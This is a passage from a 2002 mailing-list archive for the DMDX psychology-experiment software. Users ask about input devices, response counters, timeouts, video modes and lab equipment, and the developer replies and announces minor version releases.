have the following questions: > >(1) Can the system work without a PIO card? Yes. > If impossible, what is the reason? If OK, what's the disadvantage (if I > use the keyboard as the input) and how to make it? Disadvantage is the keyboard's timing variability, usually 16ms or so. See the Input section of the DMDX help: http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhinput.htm You include on the parameter line, or whatever the device name is on your machine, TimeDX's Input test will tell you it's name: http://psy1.psych.arizona.edu/~jforster/dmdx/help/timedxhinput.htm >(2) How to detect if the sound card is working for it? I guess I need to >write some item file for it. Use the TimeDX sound test: http://psy1.psych.arizona.edu/~jforster/dmdx/help/timedxhspeechcalibration.htm There are usually a couple of .WAV files in c:\\windows\\media. > Any idea or direction pointing will be appreciated. Thanks in advance. I know it's going to kill you but read the help files in their entirety, the help file >> button is good for this. You won't absorb even 10% of what's in there but when you run into a problem later on you'll recall reading _something_ about it in the help so you'll go looking for it. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""BASIC is the Computer Science equivalent of 'Scientific Creationism'."" >From DMDX-owner@psy1.psych.arizona.edu Fri May 31 13:52:13 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id NAA29981 for ; Fri, 31 May 2002 13:51:27 -0700 Received: from [128.196.99.223] by phobos.email.Arizona.EDU with HTTP; Fri, 31 May 2002 13:51:26 -0700 Date: Fri, 31 May 2002 13:51:26 -0700 Message-ID: <3CE9821D0000B69F@phobos.email.Arizona.EDU> From: ""Jasmeet Kaur Pannu"" Subject: [DMDX] counter? To: DMDX@psy1.psych.arizona.edu MIME-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Will DMDX allow for tracking certain responses, and then re-running only certain items of interest after a stop? Here are some details: This study is for the fMRI scanner. While in the scanner, the subject will respond to a continuous running series of 240 visual items with the one of three letters; a, g, or l. Once the 240 items have been responded to, the subject will come out of the scanner and continue with a different task, but this time with only those items they responded to with the letter 'a' and another different task with only those items they responded to with the letter 'g'. I'm not sure if I'm making my question clear, but if anyone can help out with this question, I thank you in advance. ******************** Jasmeet Kaur Pannu Clinical Neuropsychology University of Arizona jasmeet@u.arizona.edu ******************** >From DMDX-owner@psy1.psych.arizona.edu Fri May 31 22:15:14 2002 Received: from hotmail.com (f153.law11.hotmail.com [64.4.17.153]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id WAA31333 for ; Fri, 31 May 2002 22:13:33 -0700 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Fri, 31 May 2002 22:13:03 -0700 Received: from 129.94.6.28 by lw11fd.law11.hotmail.msn.com with HTTP; Sat, 01 Jun 2002 05:13:03 GMT From: ""Charles Liu"" To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] multi-scrambling Date: Sat, 01 Jun 2002 15:13:03 +1000 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I tried running the second multi-scrambling script described in ""Help"" (where odd items are scrambled with other odd items, and even items with other evens). It works fine diagnostically, but when run properly, the experiment seems to freeze after the first item, and I end up aborting. I can run normal scrambling experiments with no problems. This may or may not be related to another quirk which I don't understand - the syntax check shows an error message for all scripts (something about the wrong video mode), but again, this doesn't prevent me from running standard experiments. Any thoughts on this? Thanks for your time. Charles Liu School of Psychology University of New South Wales _________________________________________________________________ Chat with friends online, try MSN Messenger: http://messenger.msn.com >From DMDX-owner@psy1.psych.arizona.edu Sat Jun 1 09:33:16 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA00393 for ; Sat, 1 Jun 2002 09:32:48 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.38) by deimos.email.Arizona.EDU (6.0.053) id 3CF51DF60005AEF0; Sat, 1 Jun 2002 09:32:46 -0700 Message-Id: <5.1.0.14.2.20020601092531.00b3b210@psy1.psych.arizona.edu> Date: Sat, 01 Jun 2002 09:32:46 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: counter? In-Reply-To: <3CE9821D0000B69F@phobos.email.Arizona.EDU> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 01:51 PM 5/31/2002 -0700, you wrote: >Will DMDX allow for tracking certain responses, and then re-running only >certain items of interest after a stop? No. I could add a switch that saves all counters to a file and another that loads counters from a file. I guess I could munge the name of the file with the subject ID incase you don't run that subject again immediately but you'd have to make sure the subject ID was identical between runs. > Here are some details: >This study is for the fMRI scanner. While in the scanner, the subject will >respond to a continuous running series of 240 visual items with the one of >three letters; a, g, or l. Once the 240 items have been responded to, the >subject will come out of the scanner and continue with a different task, >but this time with only those items they responded to with the letter 'a' >and another different task with only those items they responded to with the >letter 'g'. I don't see how you're going to get a keyboard into the scanner. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""BASIC is the Computer Science equivalent of 'Scientific Creationism'."" >From DMDX-owner@psy1.psych.arizona.edu Sat Jun 1 09:36:45 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA00411 for ; Sat, 1 Jun 2002 09:36:34 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.38) by deimos.email.Arizona.EDU (6.0.053) id 3CF51DF60005AFC3 for DMDX@psy1.psych.arizona.edu; Sat, 1 Jun 2002 09:36:33 -0700 Message-Id: <5.1.0.14.2.20020601093335.00b3b210@psy1.psych.arizona.edu> Date: Sat, 01 Jun 2002 09:36:33 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: multi-scrambling In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 03:13 PM 6/1/2002 +1000, you wrote: >I tried running the second multi-scrambling script described in ""Help"" >(where odd items are scrambled with other odd items, and even items with >other evens). It works fine diagnostically, but when run properly, the >experiment seems to freeze after the first item, and I end up aborting. Probably because the program is waiting for a request that can't come. It's either mapped the request to something odd (some of my tests use the right mouse button for a request) or it's using another input device than the ones on your machine. > I can run normal scrambling experiments with no problems. This may or > may not be related to another quirk which I don't understand - the syntax > check shows an error message for all scripts (something about the wrong > video mode), but again, this doesn't prevent me from running standard > experiments. Any thoughts on this? Thanks for your time. You probably need to time the default video mode (640x480x8) in TimeDX. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""BASIC is the Computer Science equivalent of 'Scientific Creationism'."" >From DMDX-owner@psy1.psych.arizona.edu Sun Jun 2 22:47:02 2002 Received: from currawong2.psy.mq.edu.au (currawong2.psy.mq.edu.au [137.111.47.11]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id WAA04769 for ; Sun, 2 Jun 2002 22:46:09 -0700 Received: (from nobody@localhost) by currawong2.psy.mq.edu.au (8.11.6/8.11.6) id g535k7G15629 for DMDX@psy1.psych.arizona.edu; Mon, 3 Jun 2002 15:46:07 +1000 From: Anna Woollams To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Controlling file duration. Message-ID: <1023083167.3cfb029fa16d5@www.maccs.mq.edu.au> Date: Mon, 03 Jun 2002 15:46:07 +1000 (EST) MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Dear DMDXers, I am mailing with a particular question that I have been pondering for a while, but with no success. I am hoping that there is an obvious solution to this problem that I am overlooking. The problem is this: One of the researchers in our Centre wants to present screens of text that are replaced on a subject's keypress with a new screen, and for this FILE to run for EXACTLY two minutes. Some subjects may get through two screens, some through four screens and so on during the course of the two minutes, but what is critical is that the file ends after the two minutes, irrespective of how many screens of text have been displayed. My initial thought was that this could be achieved by making each screen of text a separate item, and then working out some way for DMDX to look at the RCOT value in a counter, which would allow a branch to the end of the file when RCOT exceeds two minutes. However, as the branching is evaluated after the response to an item, I do not think this will work, as if a subject begins a new screen at 1 minute and 55 seconds, and then spends 30 seconds reading that screen, it will branch to the end of the file at 2 minutes and 25 seconds, not two minutes exactly, which is what we are after. My second thought was to set up the file with each of the screens of text as frames within a single item, then set the timeout period to two minutes. However, with this approach, the problem then becomes how to get DMDX to present each new screen of text (i.e. each frame within the item) upon a subject's keypress. Effectively, what I am after is something akin to the old keyword, however using means that each frame is treated as a new item, and thus the timeout period applies to each frame rather than the whole item, as we would like. So, my question is really how to get DMDX to move from frame to frame within an item by means of a keypress (any keypress - we are not concerned with each subject's reading time per screen) while at the same time allowing the timeout parameter to apply to the whole item rather than each frame. Any suggestions with respect to this question and/or any alternative to approaches to this problem would be warmly welcomed. Many thanks, Anna W. This Message is intended for the addressee named and may contain confidential information. If you are not the intended recipient, please delete it and notify the sender. Views expressed in this message are those of the individual sender and are not necessarily the views of The Macquarie Centre for Cognitive Science. >From DMDX-owner@psy1.psych.arizona.edu Mon Jun 3 08:40:14 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id IAA06059 for ; Mon, 3 Jun 2002 08:39:48 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.38) by deimos.email.Arizona.EDU (6.0.053) id 3CF51DF60007A36C; Mon, 3 Jun 2002 08:39:46 -0700 Message-Id: <5.1.0.14.2.20020603083153.00b12c58@psy1.psych.arizona.edu> Date: Mon, 03 Jun 2002 08:39:45 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Controlling file duration. In-Reply-To: <1023083167.3cfb029fa16d5@www.maccs.mq.edu.au> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 03:46 PM 6/3/2002 +1000, you wrote: >My initial thought was that this could be achieved by making each screen >of text >a separate item, and then working out some way for DMDX to look at the RCOT >value in a counter, which would allow a branch to the end of the file when >RCOT >exceeds two minutes. I think something along these lines is likely to be your only option, but I suspect it's going to take a modification to DMDX to allow it to load the subject timeout from a counter. With this you can have a fairly straight forward item file that first loads a counter with your total duration (120000), each item then loads the timeout from the counter and after each item it subtracts the LastRT and whatever inter item interval there is from the counter, exits if it's negative or continues to the next counter. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""BASIC is the Computer Science equivalent of 'Scientific Creationism'."" >From DMDX-owner@psy1.psych.arizona.edu Mon Jun 3 19:09:15 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id TAA07851 for ; Mon, 3 Jun 2002 19:08:38 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.38) by phobos.email.Arizona.EDU (6.0.053) id 3CE9821B001778AF for DMDX@psy1.psych.arizona.edu; Mon, 3 Jun 2002 19:08:38 -0700 Message-Id: <5.1.0.14.2.20020603190249.00b12c58@psy1.psych.arizona.edu> Date: Mon, 03 Jun 2002 19:08:37 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] NVIDIA GeForce crash problem Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Well, I just had an unusually devious thought last week w.r.t. the problem NVIDIA's GeForce drivers have with DMDX. If you recall I've contacted them about the problem, they admit the problem exists and then have the gall to ask me why I should want to do what DMDX does. End of problem. Until it suddenly occurs to me 18 months later that if NVIDIA couldn't get Microsoft WHQL certification for their drivers they might just fix the problem... I just got a response from the WHQL team expressing their eagerness to include my code in their tests so we might just see some improvement using GeForce cards without the ""DMDX.EXE -buffers 4"" kludge ;) /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""BASIC is the Computer Science equivalent of 'Scientific Creationism'."" >From DMDX-owner@psy1.psych.arizona.edu Mon Jun 3 20:48:34 2002 Received: from groupwise1.duc.auburn.edu (groupwise1.duc.auburn.edu [131.204.2.92]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id UAA08088 for ; Mon, 3 Jun 2002 20:48:12 -0700 Received: from Auburn-MTA by groupwise1.duc.auburn.edu with Novell_GroupWise; Mon, 03 Jun 2002 22:48:04 -0500 Message-Id: Date: Mon, 03 Jun 2002 22:47:59 -0500 From: ""Nan Jiang"" To: Subject: [DMDX] Re: NVIDIA GeForce crash problem Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I have obtained some money for setting up a lab. I need information regarding 1) what accessories in addition to a computer are needed to set up a complete test station for LDT, naming, translation, stroop, dichotic listening tasks(such as preamplifier, button box, head set, cassette recorder, etc.), 2) what brand names work well with dmdx, and 3) where to buy them (such as a button box). Any information will be appreciated. Best, Nan Jiang >>> jforster@psy1.psych.arizona.edu 06/03/02 21:19 PM >>> Well, I just had an unusually devious thought last week w.r.t. the problem NVIDIA's GeForce drivers have with DMDX. If you recall I've contacted them about the problem, they admit the problem exists and then have the gall to ask me why I should want to do what DMDX does. End of problem. Until it suddenly occurs to me 18 months later that if NVIDIA couldn't get Microsoft WHQL certification for their drivers they might just fix the problem... I just got a response from the WHQL team expressing their eagerness to include my code in their tests so we might just see some improvement using GeForce cards without the ""DMDX.EXE -buffers 4"" kludge ;) /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""BASIC is the Computer Science equivalent of 'Scientific Creationism'."" ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== >From DMDX-owner@psy1.psych.arizona.edu Tue Jun 4 08:40:56 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id IAA09423 for ; Tue, 4 Jun 2002 08:39:49 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.38) by phobos.email.Arizona.EDU (6.0.053) id 3CE9821B0018513D for DMDX@psy1.psych.arizona.edu; Tue, 4 Jun 2002 08:39:49 -0700 Message-Id: <5.1.0.14.2.20020604083219.00b12c58@psy1.psych.arizona.edu> Date: Tue, 04 Jun 2002 08:39:48 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: NVIDIA GeForce crash problem In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 10:47 PM 6/3/2002 -0500, you wrote: >I have obtained some money for setting up a lab. I need information >regarding >1) what accessories in addition to a computer are needed to set up a >complete test station for LDT, naming, translation, stroop, dichotic >listening tasks(such as preamplifier, button box, head set, cassette >recorder, etc.), Well, you certainly don't need a cassette recorder anymore, a half way decent sound card like the Creative Labs SBLive proveds does a passable job of recording subject utterances and playing back stimuli. A Creative Labs Audigy has a 100dB S/N ratio so that's almost pro quality. The only non-standard thing you need is a PIO interface card: http://www.measurementcomputing.com/cbicatalog/cbiproduct.asp?dept%5Fid=142&pf%5Fid=821&mscssid=NWFU2WSGHGPQ9NLD164116NKUT75CJB9 >2) what brand names work well with dmdx, and Any new computer except those with NVIDIA GeForce video cards. >3) where to buy them (such as a button box). >Any information will be appreciated. I've heard rumors that Lafayette will manufacture DMDX response boxes: http://www.licmef.com/products.htm /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""BASIC is the Computer Science equivalent of 'Scientific Creationism'."" >From DMDX-owner@psy1.psych.arizona.edu Tue Jun 4 20:04:07 2002 Received: from currawong2.psy.mq.edu.au (currawong2.psy.mq.edu.au [137.111.47.11]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id UAA10877 for ; Tue, 4 Jun 2002 20:03:33 -0700 Received: (from nobody@localhost) by currawong2.psy.mq.edu.au (8.11.6/8.11.6) id g5533Vh13515 for DMDX@psy1.psych.arizona.edu; Wed, 5 Jun 2002 13:03:31 +1000 From: Anna Woollams To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: Controlling file duration. Message-ID: <1023246211.3cfd7f8373492@www.maccs.mq.edu.au> Date: Wed, 05 Jun 2002 13:03:31 +1000 (EST) References: <5.1.0.14.2.20020603083153.00b12c58@psy1.psych.arizona.edu> In-Reply-To: <5.1.0.14.2.20020603083153.00b12c58@psy1.psych.arizona.edu> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Dear DMDXers, > I think something along these lines is likely to be your only option, > but I suspect it's going to take a modification to DMDX to allow it to > load the subject timeout from a counter. With this you can have a fairly > straight forward item file that first loads a counter with your total > duration (120000), each item then loads the timeout from the counter and > after each item it subtracts the LastRT and whatever inter item interval > there is from the counter, exits if it's negative or continues to the > next counter. Many thanks for this information, Jonathan - it is a great relief to know that I was at least on the right track with my initial idea. Loading the timeout from a counter is an elegant solution to the problem that hadn't occurred to me. > If you care to sponsor this addition it'll cost you a video card, a > GeForce3 or GeForce4 with dual SVGA outputs. The offer is very much appreciated - I'll find out if the investigator is prepared to do this and let you know. Thanks again, Anna W. This Message is intended for the addressee named and may contain confidential information. If you are not the intended recipient, please delete it and notify the sender. Views expressed in this message are those of the individual sender and are not necessarily the views of The Macquarie Centre for Cognitive Science. >From DMDX-owner@psy1.psych.arizona.edu Wed Jun 5 17:47:07 2002 Received: from richie.jphs.net (crtntx1-ar3-4-60-180-031.crtntx1.dsl-verizon.net [4.60.180.31]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id RAA13648 for ; Wed, 5 Jun 2002 17:46:20 -0700 Received: from richie (richieXP [192.168.123.174]) by richie.jphs.net (8.11.6/8.11.6) with SMTP id g560gvr15684 for ; Wed, 5 Jun 2002 19:42:57 -0500 Message-ID: <000f01c20cf3$90c103f0$ae7ba8c0@richie> From: ""Richard D. Morey"" To: References: <5.1.0.14.2.20020603083153.00b12c58@psy1.psych.arizona.edu> <1023246211.3cfd7f8373492@www.maccs.mq.edu.au> Subject: [DMDX] remapping PIO keys Date: Wed, 5 Jun 2002 19:46:14 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I've hunted for this on the website with no success (did I miss it?): How can one remap the keys, such as POS and NEG, for a PIO input? Thanks. >From DMDX-owner@psy1.psych.arizona.edu Wed Jun 5 18:14:34 2002 Received: from deimos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id SAA13763 for ; Wed, 5 Jun 2002 18:14:27 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.38) by deimos.email.Arizona.EDU (6.0.053) id 3CFEA2ED00002243 for DMDX@psy1.psych.arizona.edu; Wed, 5 Jun 2002 18:14:27 -0700 Message-Id: <5.1.0.14.2.20020605181325.00b12c58@psy1.psych.arizona.edu> Date: Wed, 05 Jun 2002 18:14:27 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: remapping PIO keys In-Reply-To: <000f01c20cf3$90c103f0$ae7ba8c0@richie> References: <5.1.0.14.2.20020603083153.00b12c58@psy1.psych.arizona.edu> <1023246211.3cfd7f8373492@www.maccs.mq.edu.au> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 07:46 PM 6/5/2002 -0500, you wrote: >I've hunted for this on the website with no success (did I miss it?): How >can one remap the keys, such as POS and NEG, for a PIO input? /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""BASIC is the Computer Science equivalent of 'Scientific Creationism'."" >From DMDX-owner@psy1.psych.arizona.edu Wed Jun 5 18:17:06 2002 Received: from deimos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id SAA13789 for ; Wed, 5 Jun 2002 18:17:00 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.38) by deimos.email.Arizona.EDU (6.0.053) id 3CFEA2ED00002371 for DMDX@psy1.psych.arizona.edu; Wed, 5 Jun 2002 18:17:00 -0700 Message-Id: <5.1.0.14.2.20020605181500.00b2c5c0@psy1.psych.arizona.edu> Date: Wed, 05 Jun 2002 18:17:00 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: remapping PIO keys Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 07:46 PM 6/5/2002 -0500, you wrote: >I've hunted for this on the website with no success (did I miss it?): How >can one remap the keys, such as POS and NEG, for a PIO input? Oops, hit the send button by accident. +Bit 0 is usually request, +Bit 1 NEG and +Bit 2 POS so you map them as you would map keyboard keys. See: http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhinputtypekeywords.htm /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""BASIC is the Computer Science equivalent of 'Scientific Creationism'."" >From DMDX-owner@psy1.psych.arizona.edu Thu Jun 6 16:32:45 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id QAA16589 for ; Thu, 6 Jun 2002 16:32:05 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.053) id 3CFFA9930000B979 for DMDX@psy1.psych.arizona.edu; Thu, 6 Jun 2002 16:32:05 -0700 Message-Id: <5.1.0.14.2.20020606163021.00b13058@psy1.psych.arizona.edu> Date: Thu, 06 Jun 2002 16:32:04 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] 2.9.02 Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list DMDX 2.9.02 addresses long font name issues that have recently surfaced and adds two keywords to save and restore counters: http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhrestorecounterskeyword.htm http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhsavecounterskeyword.htm /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""Beware of bugs in the above code; I have only proved it correct, not tried it."" - Donald Knuth >From DMDX-owner@psy1.psych.arizona.edu Thu Jun 6 17:44:58 2002 Received: from deimos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id RAA16776 for ; Thu, 6 Jun 2002 17:44:38 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.38) by deimos.email.Arizona.EDU (6.0.053) id 3CFEA2ED00022814 for DMDX@psy1.psych.arizona.edu; Thu, 6 Jun 2002 17:44:37 -0700 Message-Id: <5.1.0.14.2.20020606173945.00b12c58@psy1.psych.arizona.edu> Date: Thu, 06 Jun 2002 17:42:15 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: 2.9.02 (should be 2.9.03) In-Reply-To: <5.1.0.14.2.20020606163021.00b13058@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Oops, that's actually 2.9.03... At 04:32 PM 6/6/2002 -0700, you wrote: > DMDX 2.9.02 addresses long font name issues that have recently surfaced > and adds two keywords to save and restore counters /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""BASIC is the Computer Science equivalent of 'Scientific Creationism'."" >From DMDX-owner@psy1.psych.arizona.edu Fri Jun 7 15:55:08 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id PAA19452 for ; Fri, 7 Jun 2002 15:52:22 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.053) id 3CFFA99300029FF3 for DMDX@psy1.psych.arizona.edu; Fri, 7 Jun 2002 15:52:22 -0700 Message-Id: <5.1.0.14.2.20020607154129.00b13058@psy1.psych.arizona.edu> Date: Fri, 07 Jun 2002 15:52:22 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] 2.9.04 Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list DMDX 2.9.04 stops the exit button causing DMDX to exit when Test Vox is run ;) I knew there was a reason I never made that button actually exit DMDX. Well, it works properly now. This was tangentially brought to my attention by someone in China having a problem with the Test Vox command but I think their problem is related to their OS version, I think I might have broken DMDX's ability to function under older OSes like Windows 95 a year or two ago. I can't test '95 anymore so I can't verify the problem. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""Beware of bugs in the above code; I have only proved it correct, not tried it."" - Donald Knuth >From DMDX-owner@psy1.psych.arizona.edu Mon Jun 10 18:31:19 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id SAA27687 for ; Mon, 10 Jun 2002 18:30:09 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.38) by phobos.email.Arizona.EDU (6.0.053) id 3CFFA9930006B056 for DMDX@psy1.psych.arizona.edu; Mon, 10 Jun 2002 18:30:09 -0700 Message-Id: <5.1.0.14.2.20020610182607.00b12c08@psy1.psych.arizona.edu> Date: Mon, 10 Jun 2002 18:30:05 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] VOX Test Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Would people that have not used the VOX Test in DMDX yet kindly do so just to make sure the test runs and doesn't fail with an error about loading something like control 6 of resource 3? There is a user of a Chinese version of windows that is getting a straight forward error that just plain doesn't occur on any other machines I've heard about, if others could verify this I might redesign the test -- otherwise there's something clearly wrong with his machine's configuration. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""BASIC is the Computer Science equivalent of 'Scientific Creationism'."" >From DMDX-owner@psy1.psych.arizona.edu Tue Jun 11 13:14:33 2002 Received: from banta.psyc.missouri.edu (banta.psyc.missouri.edu [128.206.38.240]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id NAA29950 for ; Tue, 11 Jun 2002 13:14:13 -0700 Received: from localhost (morey@localhost) by banta.psyc.missouri.edu (8.11.6/8.11.6) with ESMTP id g5BKEBc28916 for ; Tue, 11 Jun 2002 15:14:11 -0500 Date: Tue, 11 Jun 2002 15:14:11 -0500 (CDT) From: Richard Morey To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] a few DMDX questions Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Thanks for all those who help on this listserv. I've learned alot, but I have a few questions: 1. Is there anyway of moving feedback to a different part of the screen? Say, the center? Right now it displays on the lower half of the screen. 2. Why are all the refresh rates 0 Hz? We would like to run experiments at 120 Hz, but DMDX seems to prefer 75 Hz. Is there any way to change this? Thanks in advance. Richard Morey >From DMDX-owner@psy1.psych.arizona.edu Tue Jun 11 15:07:41 2002 Received: from richie.jphs.net (crtntx1-ar3-4-60-180-031.crtntx1.dsl-verizon.net 